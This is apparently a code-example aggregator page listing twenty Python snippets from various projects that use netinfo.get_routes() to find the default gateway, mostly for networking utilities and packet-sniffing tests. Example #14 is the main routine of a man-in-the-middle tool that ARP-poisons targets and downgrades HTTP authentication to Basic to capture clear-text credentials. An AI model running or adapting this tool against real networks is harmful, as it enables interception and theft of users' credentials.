コード例 #1
0
class default:
    netinfo.get_routes()
    default_gateway = [
        route for route in netinfo.get_routes() if route['dest'] == '0.0.0.0'
    ][0]
    gateway = default_gateway['gateway']
    interface = default_gateway['dev']
コード例 #2
0
    def create(self, timeout=30):
        """ Pings the gateway to retrieve the external IP.
        """
        null_addr, gateway = ipaddress.IPv4Address(0), None

        # Find the gateway address.
        for route in netinfo.get_routes():
            gw_addr = ipaddress.IPv4Address(route["gateway"].encode("unicode"))
            if gw_addr != null_addr:
                gateway = gw_addr  # choose first valid address
                break
        else:
            print "Failed to find a valid gateway address."
            return False

        print "Chose gateway:", gateway
        self._gateway = gateway

        # https://tools.ietf.org/html/rfc6886#section-3.2
        request = struct.pack("!BB", 0, 0)
        self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self._socket.sendto(request, (gateway, 5350))

        self._socket.bind(("224.0.0.1", 5350))

        rd, _, _ = select.select([self._socket], [], [], timeout)
        if not rd:
            print "Timed out waiting for a NatPMP response."
            return False

        response, address = self._socket.recvfrom(12)
        version, opcode, result, seconds, ip = struct.unpack("!BBBII")

        self.external_ip = str(ipaddress.IPv4Address(ip))
        super(UPnP, self).create()
コード例 #3
0
def getRoutes():
    routes = []
    for route in netinfo.get_routes():
        routes.append(
            Route(route[DESTINATION], route[GATEWAY], route[GENMASK],
                  route[IFACE]))
    return routes
コード例 #4
0
ファイル: tcpdump.py プロジェクト: robscetury/phoneslack
	def __init__(self, cf, eventQueue):
		Thread.__init__(self)
		self.minPackCount=cf.getint("SlackPhone", "minpacketcount")
		self.wirelessinterface = cf.get("SlackPhone", "wlaninterface")
		self.broadcast=netinfo.get_broadcast(self.wirelessinterface)
		self.gateway=netinfo.get_routes(self.wirelessinterface)[0]["gateway"]
		self.device = cf.get("SlackPhone", "inetdevice")
		self.startDev = cf.get("SlackPhone", "startdevice")
		self.devices = pcapy.findalldevs()
		self.valid_packet = globals()[ "valid_%s_packet"%cf.get("SlackPhone", "phonetype")]
		logging.info( self.devices)
		try:
			self.filter = cf.get("SlackPhone", "tcpfilter")
		except:
			self.filter = None
		try:
			phonemap = cf.get("SlackPhone", "phonemap")
		except:
			phonemap = None

		try:
			self.phonemap = json.loads( phonemap )
		except Exception, e:
			logging.exception(e)
			self.phonemap = {}
コード例 #5
0
ファイル: box.py プロジェクト: bvanalderweireldt/boxintruder
def getDefaultGateway():
	osName = os.uname()[0]
	if(re.match('^linux$', osName, re.IGNORECASE)):
		for interface in netinfo.get_routes():
			if(not re.match('^0\.0\.0\.0$',interface['gateway'])):
				print 'Found a correct gateway : ' + interface['gateway']
				return interface['gateway']
	else:
		print 'Warning gateway detection not yet implemented on your os...will try 192.168.0.1'
		return '192.168.0.1'
コード例 #6
0
def sniffer(toListen):
    #netinfo get default destination(0.0.0.0) interface
    default_gateway = [route for route in netinfo.get_routes() if route['dest'] == '0.0.0.0'][0]
    print "default destination(0.0.0.0) interface: " + default_gateway['dev']
    
    sniff(iface=default_gateway['dev'], filter=toListen, prn=customAction, timeout=30)

    print "Find pacets: "
    print packetCount
    return packetCount
コード例 #7
0
ファイル: icmp.py プロジェクト: gillfox/easySniffingPackets
	def testSniffICMP(self):
		default_gateway = [route for route in netinfo.get_routes() if route['dest'] == '0.0.0.0'][0]
	
		gateway = default_gateway['gateway']
		dev = default_gateway['dev']

		packets = sniff(filter="icmp",iface=dev, timeout=30)

		print "Amount of packets [ICMP]: ", len(packets) 
		self.assertFalse(len(packets) < 10)
コード例 #8
0
ファイル: rpc_server.py プロジェクト: hydface2/mcloud
    def resolve_host_ip():

        if 'docker0' in netifaces.interfaces():
            return netifaces.ifaddresses('docker0')[netifaces.AF_INET][0]['addr']
        else:
            import netinfo
            host_ip = None
            for route in netinfo.get_routes():
                if route['dest'] == '0.0.0.0':  # default route
                    host_ip = route['gateway']
            if not host_ip:
                reactor.stop()
                print('ERROR: Can not get default route - can not connect to Docker')
            return host_ip
コード例 #9
0
    def resolve_host_ip():

        if 'docker0' in netifaces.interfaces():
            return netifaces.ifaddresses('docker0')[
                netifaces.AF_INET][0]['addr']
        else:
            import netinfo
            host_ip = None
            for route in netinfo.get_routes():
                if route['dest'] == '0.0.0.0':  # default route
                    host_ip = route['gateway']
            if not host_ip:
                reactor.stop()
                print(
                    'ERROR: Can not get default route - can not connect to Docker'
                )
            return host_ip
コード例 #10
0
ファイル: net_linux2.py プロジェクト: xen0n/gingerprawn
def get_gateway():
    route_tbl = info.get_routes()
    return tuple([i['gateway'] for i in route_tbl if i != '0.0.0.0'])
コード例 #11
0
    os.nice(-10)

    # Create NeoPixel object with appropriate configuration.
    strip = Adafruit_NeoPixel(LED_COUNT, LED_PIN, LED_FREQ_HZ, LED_DMA,
                              LED_INVERT, LED_BRIGHTNESS)
    # Intialize the library (must be called once before other functions).
    strip.begin()

    # make a wipe while we wait for a router ip
    colorWipe(strip, Color(0, 64, 0), wipetime)

    rx = 0.0
    rx_delta = 0.0

    router_ip = ''
    for route in netinfo.get_routes():
        if route['dest'] == '0.0.0.0': router_ip = route['gateway']

    print 'router is at ' + router_ip

    # and another wipe before starting the polling thread
    colorWipe(strip, Color(64, 0, 0), wipetime)

    thread = GetDataBackground()
    thread.daemon = True
    thread.start()

    # then alternate black and blue wipes until we get a delta from the thread
    i = 0
    while rx == 0 or i % 2 == 1:
        i = i + 1
コード例 #12
0
ファイル: arp.py プロジェクト: lolikktra/Network-scripts
def interface():
    # defines interface connected to the network
    for item in get_routes():
        for key in item:
            if item["gateway"] != "0.0.0.0":
                return item["dev"]
コード例 #13
0
ファイル: Interface.py プロジェクト: mswiders1/multitalk
def getDefaultGatewayInterfaceName():
    for route in netinfo.get_routes():
        if route['gateway'] == '0.0.0.0':
            return route['dev']
    print "Brak sieci!!"
    assert(False)
コード例 #14
0
ファイル: downauth.py プロジェクト: jrmdev/downauth
def main():

	parser = argparse.ArgumentParser(description="""
	HTTP Authentication downgrade tool
	----------------------------------

	This tool is a man-in-the-middle utility intended to downgrade authentication requests it receives 
	to Basic in order to capture clear-text credentials.  This is done by:

		- ARP cache poisoning the target(s) to redirect their traffic to the attacker ;
		- Starting a local HTTP proxy instance ;
		- Redirecting the targets' connections to the specified ports to the local proxy ;
		- Relaying HTTP/S traffic to and from clients ;
		- Intercepting NTLM, Negotiate and Digest auth. requests from the remote web servers or proxy ;
		- Rewriting the responses to request Basic authentication.

	HTTPS will be intercepted if port 443 is specified, however clients may see certificate warnings.
	
	Levels of attakcs from stealthiest to noisiest (different levels can be used simultaneously):

	1. Downgrade authentication requests in 407 responses (most likely domain accounts)
	2. Downgrade authentication requests in 401 responses (for web apps / intranets / ...)
	3. Rewrite 200 responses to 401 to force authentication (very intrusive)

	By default the tool will stop all attacks towards any given client after clear-text credentials have
	been captured from this client.  To continue attacking no matter what, this can be disabled with the 
	--nonstop option (very intrusive++).

	Example usage: %s --iface eth0 --levels 1,2 192.168.1.0/24

	""" % sys.argv[0], formatter_class=argparse.RawTextHelpFormatter)

	parser.add_argument('target',    metavar='<target>',  action='store', help="Comma-sparated list of target IP addresses or CIDR networks")
	parser.add_argument('--router',  default=None,     metavar='<router>',  action='store', help="Local network gateway (default: autodetect)")
	parser.add_argument('--iface',   default='eth0',   metavar='<iface>',   action='store', help="Network interface card to use (default: eth0)")
	parser.add_argument('--nofw',    default=False,    action='store_true', help="Do not auto-configure routing and iptables rules (default: false)")
	parser.add_argument('--noarp',   default=False,    action='store_true', help="Do not ARP poison (default: false)")
	parser.add_argument('--freq',    default=5.0,      metavar='<freq>',    action='store', type=float, help="ARP poison packets frequency in seconds (default: 5)")
	parser.add_argument('--ports',   default='80',     metavar='<ports>',   action='store', help="Comma seperated list of ports to intercept (default: 80)")
	parser.add_argument('--proxy',   default=None,     metavar='<proxy>',   action='store', help="External proxy to forward clients' traffic to (format: ip:port)\n\n")
	parser.add_argument('--nonstop', default=False,    action='store_true', help="Continue attacking clients after capturing credentials (default: false) ")
	parser.add_argument('--levels',  default='1',      metavar='<levels>',  action='store', help="Comma separated list of attack levels. See above for description (default: 1)\n\n")
	parser.add_argument('--verbose', default=False,    action='store_true', help="Enable verbose output")
	
	config.init()
	config.cfg.args = parser.parse_args()
	arp_threads = []
	proxy_threads = []
	 
	try:
		config.cfg.args.local_ip = netinfo.get_ip(config.cfg.args.iface)
	except:
		print "[!] Error: Interface %s not found" % config.cfg.args.iface
		sys.exit(0)

	for route in netinfo.get_routes():
		if route['dest'] == '0.0.0.0':
			config.cfg.args.router = route['gateway']

	if config.cfg.args.router == None:
		print "Error: could not detect default gateway"
		sys.exit(0)

	try:
		config.cfg.args.levels = [int(x) for x in config.cfg.args.levels.split(',')]
	except:
		print "[!] Invalid level specified."
		sys.exit()

	# Using upstream proxy
	if config.cfg.args.proxy is not None:

		config.cfg.args.proxy = config.cfg.args.proxy.rstrip('/').replace('http://', '').replace('https://', '')
		config.cfg.args.proxy = config.cfg.args.proxy.split(':')

		try:    config.cfg.args.proxy = (config.cfg.args.proxy[0], int(config.cfg.args.proxy[1]))
		except: config.cfg.args.proxy = (config.cfg.args.proxy[0], 8080)

		# Test upstream proxy connection
		s = socket.socket()
		try:
			s.connect((config.cfg.args.proxy[0], config.cfg.args.proxy[1]))
			s.close()
		except Exception as e: 
			print "[!] Error: Unable to connect to proxy."
			s.close()
			sys.exit()

	config.cfg.args.ip_list = []
	for i in config.cfg.args.target.split(','):
		if '/' in i:
			net = netaddr.IPNetwork(i)
			config.cfg.args.ip_list = config.cfg.args.ip_list + [str(x) for x in net if x not in [net.network, net.broadcast]]
		else:
			config.cfg.args.ip_list.append(i)

	# Start proxy
	for port in config.cfg.args.ports.split(","):
		try:
			port = int(port)
		except:
			print "Wrong port"
			sys.exit()
	
		print "[*] Starting proxy on  %s:%d..." % (config.cfg.args.local_ip, port)
		
		t = proxy.ProxyThread(config.cfg.args.local_ip, port)
		proxy_threads.append(t)
		t.start()

	# Configure iptables
	if config.cfg.args.nofw == False:
		if os.getuid() != 0:
			print "[!] Error: Must run as root to auto-configure routing and iptables rules"
			sys.exit(0)
		else:
			conf_ip_forward()

	config.cfg.my = (netinfo.get_ip(config.cfg.args.iface), netinfo.get_hwaddr(config.cfg.args.iface))
	config.cfg.router = (config.cfg.args.router, '')
	config.cfg.clients = {}

	# Start ARP poison thread
	if config.cfg.args.noarp == False:
		scapy_conf.iface = config.cfg.args.iface

		print "[*] Poisoning ARP caches..."
		for addr in config.cfg.args.ip_list:
			
			# exclude myself and router
			if addr in [config.cfg.my[0], config.cfg.router[0]]:
				continue

			t = ArpPoisonThread(addr)
			arp_threads.append(t)
			t.start()

	try:
		while 1:
			time.sleep(1)

	except KeyboardInterrupt:
		print "\r\nKilling ARP Poisoning threads..."
		for t in arp_threads:
			t.kill()

		print "Killing Proxy threads..."
		for t in proxy_threads:
			t.server.shutdown()

		clean_exit()
コード例 #15
0
ファイル: core.py プロジェクト: miftanurfarid/TuxCut
 def get_gwip(self):
     routes = netinfo.get_routes()
     for route in routes:
         if route['dest'] == '0.0.0.0' and route['dev'] == self.iface:
             return route['gateway']
コード例 #16
0
from scapy.all import *
import unittest
import netinfo
import threading
import Queue

default_gateway = [route for route in netinfo.get_routes() if route["dest"] == "0.0.0.0"][0]["dev"]


class TestSequenceFunctions(unittest.TestCase):

    # Sniffing TCP packets for 30 seconds
    def test_tcp(self):

        res = sniff(filter="tcp", iface=default_gateway, timeout=10)
        self.assertTrue(len(res) >= 10, "TCP = " + str(len(res)))
        wrpcap("test_tcp_log.pcap", res)

        # Sniffing ICMP packets for 30 seconds

    def test_icmp(self):

        res = sniff(filter="icmp", iface=default_gateway, timeout=30)
        self.assertTrue(len(res) >= 10, "ICMP = " + str(len(res)))
        wrpcap("test_icmp_log.pcap", res)

        # Sniffing UDP packets for 30 seconds

    def test_udp(self):

        res = sniff(filter="udp", iface=default_gateway, timeout=30)
コード例 #17
0
import netinfo
for dev in netinfo.list_active_devs():
	print "*********************************"
	print dev
	print "mac: "+netinfo.get_hwaddr(dev)
	print "ip: "+netinfo.get_ip(dev)
	print "netmask: "+netinfo.get_netmask(dev)
	print "broadcast: "+netinfo.get_broadcast(dev)
print "######################################"
for route in netinfo.get_routes():
    print route['dest']+"/"+route['netmask']+" -> "+route['gateway']


#netinfo.del_route("", "192.168.0.0", "164.11.222.253", "255.255.255.0");
コード例 #18
0
def default_iface():
    for rec in netinfo.get_routes():
        if rec['dest'] == '0.0.0.0':
            return rec['dev']
    raise Exception('No default gateway is configured!')
コード例 #19
0
from scapy.all import *
import unittest
import netinfo
import threading
import Queue

default_gateway = [route for route in netinfo.get_routes() if route['dest'] == '0.0.0.0'][0]['dev']

class TestSequenceFunctions(unittest.TestCase):

	#Sniffing TCP packets for 30 seconds
	def test_tcp(self):

		res=sniff(filter="tcp", iface=default_gateway, timeout=10)
		self.assertTrue(len(res) >= 10, 'TCP = '+str(len(res)))
		wrpcap('test_tcp_log.pcap', res)

	#Sniffing ICMP packets for 30 seconds
	def test_icmp(self):

		res=sniff(filter="icmp", iface=default_gateway, timeout=30)
		self.assertTrue(len(res) >= 10, 'ICMP = '+str(len(res)))
		wrpcap('test_icmp_log.pcap', res)

	#Sniffing UDP packets for 30 seconds
	def test_udp(self):

		res=sniff(filter="udp", iface=default_gateway, timeout=30)
		self.assertTrue(len(res) >= 50, 'UDP = '+str(len(res)))
		wrpcap('test_udp_log.pcap', res)
コード例 #20
0
def getRoutes():
    routes = []
    for route in netinfo.get_routes():
        routes.append(Route(route[DESTINATION], route[GATEWAY], route[GENMASK], route[IFACE]))
    return routes